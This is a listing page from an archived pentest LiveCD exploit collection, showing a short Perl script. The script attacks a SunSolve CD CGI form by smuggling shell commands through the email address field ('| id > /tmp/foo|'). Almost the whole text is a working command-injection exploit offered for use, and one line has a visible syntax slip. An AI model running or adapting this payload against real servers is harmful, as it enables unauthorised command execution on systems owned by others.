home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / sscdsuncourier-ex.pl < prev    next >
Perl Script  |  2005-02-12  |  347b  |  13 lines
  1. #!/usr/bin/perl
  2. use LWP::UserAgent;
  3. use HTTP::Request::Common qw(POST);
  4. ua = new LWP::UserAgent;
  5. $ua->agent("Scrapers");
  6. my $req = POST  'http://sunsolveCD.box.com:8383/cd-cgi/sscd_suncourier.pl',
  7. [
  8. step =>  "submit" ,
  9. emailaddr => "foo\@bar.com| id > /tmp/foo|"];
  10. $res = $ua->request($req);
  11. print $res->as_string;
  12. print "code", $res->code, "\n";
  13.